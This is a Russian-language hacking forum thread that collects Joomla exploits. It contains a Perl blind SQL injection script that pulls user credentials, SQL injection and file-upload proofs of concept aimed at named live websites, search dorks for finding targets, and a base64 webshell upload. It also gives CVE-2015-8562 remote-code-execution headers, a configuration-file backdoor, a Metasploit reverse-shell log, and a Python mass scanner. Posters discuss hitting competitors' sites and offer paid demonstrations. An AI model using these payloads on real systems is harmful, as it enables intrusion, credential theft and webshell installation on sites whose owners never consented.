#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " ################################################## ##############\n"; print " # Joomla Component com_spidercalendar Blind SQL Injection Exploit #\n"; print " # Author:winstrool #\n"; print " ################################################## ##############\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $tid = $ARGV[2]; my %options = (); GetOptions(\%options, "p=s", "t=i"); print "[~] Exploiting...\n"; if($options{"t"}) { $tid = $options{"t"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i new; my $query = "http://".$host.$path."index.php?option=com_spidercalendar&calendar_id=".$tid." and (SUBSTRING((SELECT concat(username,0x3a,password,0x3a,usertype) from jos_users limit 0,1),".$i.",1))=CHAR(".$h.") -- &module_id=60&date60=2012-08-11&Itemid=" ; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->as_string; if($content =~ /Rankings/) { #print $h; return 1; } else { return 0; } }


Дорк: "inurl:index.php?option=com_spidercalendar calendar_id=*"

Уязвимый код:

Пока нет...

P.S:Уязвимость другой переменной данного компанента

http://www.exploit-db.com/exploits/23782/ (2012-12-31)

KolosJey
26.02.2013, 15:16
Joomla "com_spidercalendar" component SQL Injection
Уязвим параметр
calendar_id
POC:
-
true
-
false
Exploit переписанный под пример данного сайта!
Дорк:
"inurl:index.php?option=com_spidercalendar calendar_id=*"
Уязвимый код:
Пока нет...
P.S:Уязвимость другой переменной данного компанента
http://www.exploit-db.com/exploits/23782/ (2012-12-31)


Ты всё-же мой любимый хакер

Blind - OK

http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1 UNION SELECT 1,2,3,4,0x3c61207461726765743d225f626c616e6b222068 7265663d22687474703a2f2f7777772e726164696b616c2e72 75223e3c696d67207372633d22687474703a2f2f693038312e 726164696b616c2e72752f313330322f31342f326637633233 3033326532612e6a706722203e3c2f613e,6,7,8,9,10,11,1 2,13,14,15,16,17-- &module_id=60&date60=2012-08-11&Itemid=

winstrool
26.02.2013, 22:26
Ты всё-же мой любимый хакер
Blind - OK
http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1 UNION SELECT 1,2,3,4,0x3c61207461726765743d225f626c616e6b222068 7265663d22687474703a2f2f7777772e726164696b616c2e72 75223e3c696d67207372633d22687474703a2f2f693038312e 726164696b616c2e72752f313330322f31342f326637633233 3033326532612e6a706722203e3c2f613e,6,7,8,9,10,11,1 2,13,14,15,16,17-- &module_id=60&date60=2012-08-11&Itemid=


а ты все также смышлен))) действует не везде, а с блиндом проходит больше ситуаций, да и кому, как крутить дело каждого...

Disasm
04.03.2013, 18:57
Ни у кого случайно не завалялись исходники уязвимого к LFI компонента com_properties версия 3.1.22-03

Столкнулся с проблемой усечения расширения null байтом. Глянуть бы исходники

Подробности тут: /thread375124.html

P.S. Очень плохая манера описывать уязвимость и не указывать участок кода, в котором она найдена, т.к. зачастую после публикации уязвимости скрипт попросту пропадает с прилавков интернета...

ravencrow
21.08.2013, 13:34
Как узнать версию Joomla 2.5/3.0

Если есть доступ на чтение из БД, выполнить следующий запрос:

select version_id from префикс_schemas where extension_id=700;

или

select manifest_cache from префикс_extensions where extension_id=700;

ravencrow
21.08.2013, 14:16
Кто может рассказать более подробно про данную уязвимость, а точнее как она осуществялется?

Description

Inadequate filtering leads to the ability to bypass file type upload restrictions.
Affected Installs

Joomla! version 2.5.13 and earlier 2.5.x versions; and version 3.1.4 and earlier 3.x versions.



Описание уязвимости http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads

Уязвимый код https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8

Позволяет залить шелл с расширением *.php. (на конце расширения файла точка) через встроенный медиа-менеджер Joomla. Требуется доступ на сайт в качестве автора/редактора. Т.е. без соответствующих привелегий залить не получится.

Актуально для версий Joomla от 2.5.0 до 2.5.13 и от 3.0.0 до 3.1.4 включительно.

winstrool
09.11.2013, 19:18
Joomla "com_muscol" component SQL Injection

Уязвим параметр genre_id, в данном компаненте есть и другие уязвимые параметры.

POC:


http://www.jazz.org.au/index.php?option=com_muscol&view=search&search=albums&genre_id=2+and(select+ascii(mid(concat(version()), 1,1))=53)


- true


http://www.jazz.org.au/index.php?option=com_muscol&view=search&search=albums&genre_id=2+and(select+ascii(mid(concat(version()), 1,1))=52)


- false

Дорк: "inurl:index.php?option=com_muscol genre_id=*"

Уязвимый код:

Пока нет...

Ravenous
11.12.2013, 16:37
Уязвимый код:
Пока нет...


Файл: components/com_muscol/models/search.php

Код:


...

$this->genre_id=JRequest::getVar('genre_id');

...

function_buildQuery(){

if(empty($this->query)){



$keywords=$this->keywords;

$artist_id=$this->artist_id;

$genre_id=$this->genre_id;



$where_clause= array();



if ($keywords!="")$where_clause[] =' s.name LIKE "%'.$keywords.'%"';



if ($artist_id>0) {

$where_clause[] =' ( al.artist_id = '.$artist_id.' OR s.ar tist_id = '.$artist_id.')';

}

if ($genre_id>0) {

$genre->id=$genre_id;

$this->getDescendantsId($genre_id);

$descendants=$this->descendantsId;

$descendants[] =$genre_id;

$genre_clause=' (( s.genre_id = '.implode(' O R s.genre_id = ',$descendants) .' ) '.

' OR ( s.genre_id ="" AND ( al.genre_id = '.implode(' OR al.genr e_id = ',$descendants) .' ) ) )';

$where_clause[] =$genre_clause;

}



// Build the where clause of the content rec ord query

$where_clause= (count($where_clause) ?' WHERE '.implode(' AND ',$where_clause) :'');



$this->query=' SELECT s.*,al.name as album_name,al.im age, ar.artist_name FROM #__muscol_songs as s '.

' LEFT JOIN #__muscol_albums as al ON al.id = s.album_id '.

' LEFT JOIN #__muscol_artists as ar ON ( a r.id = s.artist_id OR ar.id = al.artist_id ) '.

$where_clause.

' ORDER BY s.artist_id, al.year, al.month, a l.id, s.disc_num,s.num '

;

//echo $this->query; die();

}

return$this->query;

}

look2009
04.11.2014, 02:33
joomla 3.2.1

index.php/weblinks-categories?id=0%20%29%20union%20select%20concat_ws (0x3a,username,password)%20from%20%60ppo1v_users%6 0%20--%20%29

BigBear
13.02.2015, 14:00
Бэкдорим Joomla через файл конфигурации штатными средствами:

в файл ./configuration.php добавляем строчку


public $root_user='';


Вписанный таким образом пользователь автоматически становится СуперАдмином, не смотря на его настройки в MySQL.

Вычитал тут (https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password)

Ch3ck
28.07.2015, 22:21
↑ (https://antichat.live/posts/3567851/)
Как узнать версию Joomla 2.5/3.0
Если есть доступ на чтение из БД, выполнить следующий запрос:
select version_id from префикс_schemas where extension_id=700;
или
select manifest_cache from префикс_extensions where extension_id=700;


А не проще подставить к домену /language/en-GB/en-GB.xmlи узнать версию?

ZodiaX
23.10.2015, 13:48
Joomla ver. 3.2/3.4.4

Уязвимый компонент /administrator/components/com_contenthistory/models/history.php

POC:


index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)


Подробнее тут (https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/).

AppS
23.10.2015, 15:03
Начинаем марафон

Sharingan
27.10.2015, 13:08
↑ (https://antichat.live/posts/3905915/)
Joomla
ver. 3.2/3.4.4
Уязвимый компонент /administrator/components/com_contenthistory/models/history.php
POC
:
Подробнее
тут (https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/)
.


А как только угадать префикс таблицы.

ZodiaX
27.10.2015, 14:31
↑ (https://antichat.live/posts/3907452/)
А как только угадать префикс таблицы.


Ну в модуле это уже реализовали https://github.com/rapid7/metasploit-framework/pull/6129/files

Можно конечно его отдельно под себе переписать.

winstrool
27.10.2015, 14:40
↑ (https://antichat.live/posts/3907452/)
А как только угадать префикс таблицы.


Площадка для тестов:

_ttp://test.bip.visacom.pl/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(ExtractValue(1,(select concat_ws(0x3a,user(),version(),database()))))

Обратите внимание, что при ошибки выдается и префикс таблици:


500 - XPATH syntax error: '
@10.254.34.22:5.5.43-MariaDB-log
' SQL=SELECT (ExtractValue(1,(select concat_ws(0x3a,user(),version(),database())))),uc. name AS editor
FROM `cons9_ucm_history`
AS h LEFT JOIN cons9_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 75 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

grimnir
09.11.2015, 15:14
тулза под винду для быстрой эсплутации CVE-2015-7857 Joomla

http://image.3001.net/images/20151023/1445602110947.png!small

http://pan.baidu.com/s/1kTER9bT пасс:htmo

hpol
09.11.2015, 20:49
Только чем такой хэш можно расшифровать ? Через session_id пробовал войти на паре сайтов - не вышло .

winstrool
11.11.2015, 18:05
Joomla com_sexycontactform Arbitrary File Upload Vulnerability

по мотивам _http://0day.today/exploit/description/24518

exploit:


$url="http://localhost";
$file="Z:\\home\\test\\www\\exp\\css.php";
if($curl=curl_init() ) {
curl_setopt($curl,CURLOPT_URL,"$url/components/com_sexycontactform/fileupload/index.php");
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_POST,1);
@curl_setopt($curl,CURLOPT_POSTFIELDS, ar ray("files"=>"@".$file));
curl_setopt($curl,CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10');
$in=curl_exec($curl);
curl_close($curl);
//var_dump($in);
}



На разных площадках по разному расширения пропускает, для загрузки шелла, пробуйте играться с расширением

Для удаления какого либо файла из папки files

Используем метод

DELETE:

http://www.localhost/components/com_sexycontactform/fileupload/index.php?file=.htaccess

Сорци уязвимой части компанента:

winstrool
18.11.2015, 15:37
Joomla "mod_fxprev"

modules/mod_fxprev/libraries/tmpl.php

Уязвимый участок кода:


$basepath = str_replace('/modules/mod_fxprev/libraries/tmpl.php','',$_SERVER['SCRIPT_FILENAME']) ;
$hostname = $_SERVER['HTTP_HOST'];
$action = $_POST['action'];
$file = $_POST['file'];
$data = base64_decode($_POST['data']);
$tmpdir = $_POST['tmpdir'];
...
} else if ($action == 'create') {
$ftime = filemtime("$basepath/components/com_content");
echo file_put_contents($file, $data);
touch("$basepath/components/com_content", $ftime, $ftime);
touch("$basepath/components/com_content/article.php", $ftime, $ftime);
}


POC:


POST: action=create&file=shell.php&data=PD9waHAgZXZhbCgkX1BPU1RbJ2lkJ10pOyA/Pg==


для тестов:


_ttp://arabica.com.au/oldfile/modules/mod_fxprev/mod_fxprev.xml
_ttp://arabica.com.au/oldfile/modules/mod_fxprev/libraries/tmpl.php

winstrool
05.12.2015, 19:33
Заливка шелла через RSForm! Pro тестировал на версии 1.50.0

Требуются админские права!!!

В админке переходим: Компоненты-> RSForm! Pro -> Управление формами -> (Выбираем любую форму) -> Свойства -> Скрипты (Сценарии выполнения программы)

в первое же поле вбиваем phpinfo(); и профит!

Скрипт выполняющий код:

administrator\components\com_rsform\helpers\rsform .php - 1981 строчка

eval($form->ScriptDisplay);

Запись для выполнения кода заносятся в таблицу JOS__rsform_forms в колонки ScriptProcess, ScriptProcess2, ScriptDisplay

Таким образом мы можем спрятать бегдор в БД!

Strilo4ka
05.12.2015, 22:47
хм, ок))



Заливка шелла через Virtuemart, нужны права одмина или модератора, как повезет

1.Заливка с Front End

смотрим id товара с тегов, их атрибутов и тд и далее переходим по урлю ?option=com_virtuemart&tmpl=component&view=product&task=edit&virtuemart_product_id=[id]и грузим в фото товара с PHP расширением.

2. Заливка с админки

В фото товара льем свой шелл c PHP расширением.

VY_CMa
15.12.2015, 18:44
Joomla 0day RCE (от 1.5 до 3.4)


GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}𝌆
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive



POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d


Дисклос: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

PoC: http://www.freebuf.com/vuls/89754.html

blackbox
15.12.2015, 20:32
↑ (https://antichat.live/posts/3927817/)
Joomla 0day RCE (от 1.5 до 3.4)

GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}𝌆
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive


POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t6491 9sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d

Дисклос:
https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
PoC:
http://www.freebuf.com/vuls/89754.html


А есть подробности использования? И получилось ли у кого-нибудь заюзать?

winstrool
15.12.2015, 20:56
↑ (https://antichat.live/posts/3927869/)
А есть подробности использования? И получилось ли у кого-нибудь заюзать?




User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}�

Запрос сробатывает со второго раза!

ZodiaX
15.12.2015, 21:06
eval(base64_decode($_POST[111]))

111 - это я так понимаю место для shell'a?

VY_CMa
15.12.2015, 21:11
Есть POC для Metasploit: https://github.com/rapid7/metasploit-framework/pull/6355

Проверено, работает.

seiklm
16.12.2015, 00:49
↑ (https://antichat.live/posts/3927897/)

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}�

Запрос сробатывает со второго раза!


А как выполнить этот запрос?

aka180000
16.12.2015, 12:41
Народ, а кто нибудь может платно показать как работает эта уязвимость. Все вопросы в личку.

AppS
16.12.2015, 15:39
Марафон открыт)

vvs777
16.12.2015, 15:51
Я то могу платно показать, как она работает, но

1. Пробивается не больше 5% сайтов. Почему - надо смотреть код Джумлы.

2. Есть куча левых фиксов, которые не позволяют выполнить это.

3. Тот же CloudFlare посылает ваши эксплоиты строго по компасу.

Вообщем так, сайты своих друзей и врагов я протестировал. Один дырявый у друзей уже пофиксил. Из числа конкурентов, к сожалению, никто не пробивается. Далее мне эта тема не интересна

winstrool
16.12.2015, 16:09
у меня из 150 сайтов 18 пробило, все пробитые от 3.x и выше, щас на массовость буду смотреть по версиям на 8к сатов, что пробьется...

P.S: Тема очень обсуждаема, вынести бы ее в отдельную тему... модерам...

blackbox
16.12.2015, 17:53
В этой ссылке, которую приводили выше - https://github.com/rapid7/metasploit-framework/pull/6355 описаны некоторые ограничения по версии php. Я пробовал эксплоит на хостах, с подходящими версиями - либо возвращается обычная страница, либо 403 или пустой ответ сервера. В двух последних случаях подозреваю WAF. Пока не ясно как с ним бороться.

chekist
16.12.2015, 23:09
класс JDatabaseDriverMysqli , нашёл только в версии 332, а вот где еть возможность записи в файл сессии так и не нашёл

83 public function __destruct()

84 {

85 $this->disconnect();

86 }

200 public function disconnect()

201 {

202 // Close the connection.

203 if ($this->connection)

204 {

205 foreach ($this->disconnectHandlers as $h)

206 {

207 call_user_func_array($h, array( &$this));

208 }

209

210 mysqli_close($this->connection);

211 }

212

213 $this->connection = null;

214 }

vvs777
17.12.2015, 00:22
Что-то не варит котелок у меня уже. Если кто заставит это чудо пробивать версии линейки 2.5 просьба отписать сюди или в ЛС. С меня пиво.

winstrool
17.12.2015, 01:19
↑ (https://antichat.live/posts/3928468/)
Что-то не варит котелок у меня уже. Если кто заставит это чудо пробивать версии линейки 2.5 просьба отписать сюди или в ЛС. С меня пиво.


Бьет только версию 3.x за счет:


public function __destruct()
{
$this->
disconnect
();
}
...
public
function disconnect
()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array
($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}


а во второй ветки он прописан так:


public function __destruct()
{
if (is_callable(array($this->connection, 'close')))
{
mysqli_close($this->connection);
}
}

vvs777
17.12.2015, 03:19
Тут вроде бы еще одна возможность намечается:

Проверил как в 3.4 выглядит сессия админа. С учетом вычищенного лишнего:


__default|a:8:{s:15:"session.counter";i:4;s:19:"session.timer.start";i:1450305285;s:18:"session.timer.last";i:1450305301;s:17:"session.timer.now";i:1450305303;s:22:"session.client.browser";s:3:"MOZ";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:1 5:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}


Я сознательно поубирал всякий хлам. Если ЭТО внести непосредственно (руками) в таблицу session (http://localhost/tools/phpmyadmin/sql.php?db=joomlatest&table=jm_session&token=850cbc484e6901f1ace0c1855590f526) независимо от содержимого полей client_id и guest на главной странице появляется кнопка редактирования постов со всеми вытекающими. В админку я не попал, но думаю дело техники.

Теперь если не руками. Отправляю запрос со следующим User-Agent:


$uagent='";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:1 5:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}'."\xf0\x9d\x8c\x86";

В базу благополучно записывается такое значение сессии:


__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450307390;s:18:"session.timer.last";i:1450307390;s:17:"session.timer.now";i:1450307390;s:22:"session.client.browser";
s:1088:""
;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:1 5:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}


Но как только я запрашиваю страницу браузером с той же кукой - заветной кнопки не вижу и в базу автоматически заносится


isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;


Если в структуре, занесенной в БД посредством подмены User-Agent заменить (уже в базе руками)

s:1088:""; на s:1:"1"; или что-либо еще корректное - то все работает и я получаю права автора на редактирование публикаций с сайта.


s:22:"session.client.browser";s:1126:"";s:22:"session.client.browser";s:1:"1";


не катит

Если _default обрезать и дописать к нему второй _default - джумла потом дополняет первый как в предыдущем случае, а второй хвостом болтается. В версии 2.5 хвост превращается в __defaul2|N;

В исходники особо не вникал, но возможно что это можно раскрутить до получения прав автора админа.

Ups
17.12.2015, 06:38
↑ (https://antichat.live/posts/3927910/)
Есть POC для Metasploit:
https://github.com/rapid7/metasploit-framework/pull/6355
Проверено, работает.




msf exploit(joomla_http_header_rce) > set RHOST www.aquak***.ru
RHOST => www.aquak***.ru
msf exploit(joomla_http_header_rce) > check
www.aquak***.ru:80 - The target appears to be vulnerable.
msf exploit(joomla_http_header_rce) > exploit

Started reverse handler on 188.227.**.**:4444
www.aquak***.ru:80 - Sending payload ...
Exploit completed, but no session was created.
msf exploit(joomla_http_header_rce) >

Filipp
17.12.2015, 17:15
Подкоректировал сплоит (https://www.exploit-db.com/exploits/38977/), выкладываю, может кому-то пригодиться. Реально задолбался менять payload и URL в файле. Еще сделал запись результата в файл. Для работы нужна библиотека requests, ставить так:


pip install requests

P.S Ни разу не пробивал Jooml'y ): ")

pl = generate_payload(phpexec)

print get_url(vulnurl, pl)
[/CODE]

blackbox
19.12.2015, 23:12
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.


'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import sys
import re
import requests
import getopt

message = "--"
def get_url(url, user_agent):
global message
headers = {
#'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url, timeout=15, headers=headers).cookies

for _ in range(3):
response = requests.get(url, timeout=15, headers=headers,cookies=cookies)
except Exception as ex:
#print ex.message
message = "Error: " + str(ex.message)
if response:
#print "got response"
#print response.content
return response.content
return None

def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'

}

#print url
try:
response = requests.get(url, timeout=15, headers = headers)
text = response.content
#print text
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"

pl = generate_payload("phpinfo();")
#text = get_url(host, pl)

#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);

for opt, arg in opts:
if opt in("-f", "--file"):
read_file = arg
elif opt in("-d", "--domain"):
domain = arg
elif opt in("-l", "--log"):
log_file = arg
write_log = True

if(domain and read_file):
usage()
exit()

if(domain == "" and read_file == ""):
usage()
exit()

if(write_log == True):

fh = open(log_file, "w")
fh.close()

#use file or get domains from viewdns.info

if(domain):
sites = get_site_list(domain)
